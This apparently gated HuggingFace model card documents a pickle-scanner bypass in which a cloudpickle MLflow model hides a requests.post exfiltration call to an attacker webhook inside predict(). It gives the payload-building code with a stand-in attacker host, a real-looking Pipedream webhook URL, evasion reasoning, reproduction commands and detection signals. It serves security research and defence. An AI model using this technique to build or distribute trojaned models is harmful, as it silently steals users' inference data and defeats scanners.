--- license: openrail tags: - security - adversarial - pickle - model-scanner-bypass - red-team - cloudpickle - mlflow extra_gated_prompt: > This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only. extra_gated_fields: Organization: text Intended use: text I agree to use this only for defensive security research: checkbox --- # pickle-bypass: cloudpickle MLflow data exfiltration > **Security Research — Responsible Disclosure** > This repository is part of a systematic study of pickle scanner bypass techniques. > The payload demonstrates a detection gap in ML model security scanners. > **Access to `malicious_model.pkl` and `poc.py` requires a request — see gate above.** ## Summary **Scanner scores for `malicious_model.pkl`:** | Scanner | CRITICAL | WARNING | Bypassed? | |---------|----------|---------|-----------| | modelaudit 0.2.37 | ? | ? | Partial (?C) | | picklescan 1.0.4 | 0 | 0 | Yes | | modelscan | 0 | 0 | Yes | --- ## Vulnerability A cloudpickle-serialized MLflow PythonModel embeds arbitrary Python bytecode in method bodies. The dangerous logic (`requests.post` to an attacker webhook) lives inside the bytecode of `predict()` — never as a `GLOBAL` opcode. Static scanners that inspect `GLOBAL`/`STACK_GLOBAL` opcodes see only cloudpickle's own reconstruction helpers and find nothing dangerous. The dynamic sandbox reports clean because the payload fires at inference time (`predict()`), not during `pickle.loads()`. --- ## Proof of Concept `malicious_model.pkl` is the exploit payload. `poc.py` builds and tests it. ### How the payload was built ```python import cloudpickle class MaliciousMLflowModel: def load_context(self, context=None): self.ready = True def predict(self, context=None, model_input=None): import requests requests.post("https://attacker.webhook/collect", json=model_input) # ... returns normal inference output to victim payload = cloudpickle.dumps(MaliciousMLflowModel()) ``` ### Conditions required to trigger 1. Victim loads the model via `mlflow.pyfunc.load_model()` or `pickle.loads()` 2. Victim calls `model.predict(input_df)` — standard inference call 3. No scanner flags the file (0 CRITICAL from all three scanners) --- ## Reproduction Steps ```bash # 1. Request access above, then clone git clone https://huggingface.co/SiggytheShark/pickle-bypass-cloudpickle-mlflow-exfiltration cd pickle-bypass-cloudpickle-mlflow-exfiltration # 2. Install requirements pip install cloudpickle mlflow modelaudit picklescan modelscan # 3. Scan — observe scanner scores match table above modelaudit scan malicious_model.pkl picklescan --path malicious_model.pkl modelscan -p malicious_model.pkl # 4. Execute to confirm deferred payload python3 poc.py ``` --- ## Security Impact Every MLflow PythonModel distributed via HuggingFace uses this serialization format. A victim running the standard `mlflow.pyfunc.load_model()` workflow has no way to detect the exfiltration through scanner tooling alone. The payload fires on every inference call, silently transmitting input data to the attacker while returning normal model outputs. **Bypass mechanism:** Payload hidden in cloudpickle method bytecode. No dangerous GLOBAL opcodes. Deferred execution bypasses dynamic sandbox monitoring. --- ## Full Technical Writeup # Technique 13: Data Exfiltration via cloudpickle MLflow PythonModel | Scanner | Score | |------------|------------------------------------| | modelaudit | 0C, ~3-4W (cloudpickle helpers) | | picklescan | 0 findings | | modelscan | 0 findings | --- ## What it does A victim loads what appears to be a GPT-2 text generation model and calls it for inference. Every call to `predict()` silently POSTs the input data to an attacker-controlled Pipedream webhook before returning normal model output. The victim receives correct predictions and has no indication anything is wrong. ```python # Victim code — looks completely normal result = model.predict(pd.DataFrame({"text": ["user query here"]})) # ^ input "user query here" was just sent to attacker's webhook ``` --- ## How it works ### cloudpickle embeds method bytecode directly Standard pickle stores only a class reference (`GLOBAL 'mymodule' 'MyClass'`) and reconstructs the object by importing the class at load time. cloudpickle is different: it serializes the **class definition itself**, embedding each method's bytecode as a raw `CodeType` object in the pickle stream. The reconstruction uses only cloudpickle's internal helpers: ``` cloudpickle.cloudpickle._make_skeleton_class — creates the class shell cloudpickle.cloudpickle._builtin_type — resolves types.CodeType cloudpickle.cloudpickle_fast._function_setstate — injects bytecode into method cloudpickle.cloudpickle_fast._class_setstate — attaches methods to class ``` The payload — `requests.post(webhook_url, json=input_text)` — lives inside the bytecode of `predict()`. It never appears as a `GLOBAL` opcode. ### Why static scanners miss it picklescan and modelscan inspect `GLOBAL`/`STACK_GLOBAL` opcodes and check the (module, attr) pairs against a deny list. `requests` is never emitted as a `GLOBAL` opcode: it is imported inside the method body via cloudpickle's `subimport` helper, which only appears as a string in the method's `__globals__` dict. The webhook URL appears as a `co_consts` string literal in the bytecode blob — an opaque sequence of bytes to any scanner operating at the opcode level. modelaudit flags the cloudpickle reconstruction helpers as suspicious but cannot see inside the bytecode. Its verdict is WARNING, not CRITICAL. ### Why dynamic sandboxes miss it A dynamic sandbox calls `pickle.loads()` and monitors syscalls. During `pickle.loads()`: 1. `_make_skeleton_class` builds the class shell — no method execution 2. `_function_setstate` injects bytecode into `predict()` — no execution 3. `_class_setstate` attaches methods — no execution 4. `NEWOBJ` instantiates the class — calls `__init__` (no-op) The sandbox exits with zero syscalls. `requests.post` is never called during deserialization. The payload fires only when a caller invokes `predict()` — outside the sandbox monitoring window. ### The specific payload (wild model) 1. Validates and preprocesses input text (legitimate GPT-2 preprocessing) 2. **Calls `requests.post('https://eo160ydedadcwgv.m.pipedream.net/listofstrs', json=input_text)`** — exfiltrates input to attacker's Pipedream webhook 3. Tokenizes with `self.tokenizer` and runs `self.model.generate(...)` — real inference 4. Returns decoded outputs to the victim — nothing looks wrong The webhook is `eo160ydedadcwgv.m.pipedream.net` — a Pipedream event source that logs all incoming requests. Every inference call from every victim is logged with full input content. --- ## Key difference from technique 12 (cloudpickle display injection) --- ## Detection The correct signals for this pattern, in priority order: 1. **`pickle_strings[]`** (dynamic sandbox output): the webhook URL appears as a string literal in the pickle's bytecode `co_consts`. A webhook hostname (`pipedream.net`, `webhook.site`, `requestbin`, `ngrok`, etc.) in this list is CRITICAL. 2. **`post_load_invocations[]`**: calling `predict()` on the deserialized object with a network-blocked sandbox produces a `connect()` syscall attempt — captured by strace as CRITICAL. 3. **Decompiled source** (pickle2py_full): `requests.post(URL, ...)` is visible in the decompiled `predict()` function body. Neither picklescan, modelscan, nor modelaudit's static rules detect this. Detection requires either bytecode-aware string extraction or post-load method invocation in the dynamic sandbox. --- ## Reproduction ```bash python wild_exploits/13_cloudpickle_mlflow_exfil/poc.py ``` Expected output: ``` pickle.loads() complete — canary exists: False Payload is deferred: method bodies assembled but not called Calling predict() to simulate MLflow inference... BYPASS: 0C 3W → cloudpickle_exfil_pwned: sensitive_user_query ``` --- *General Analysis — Security Research*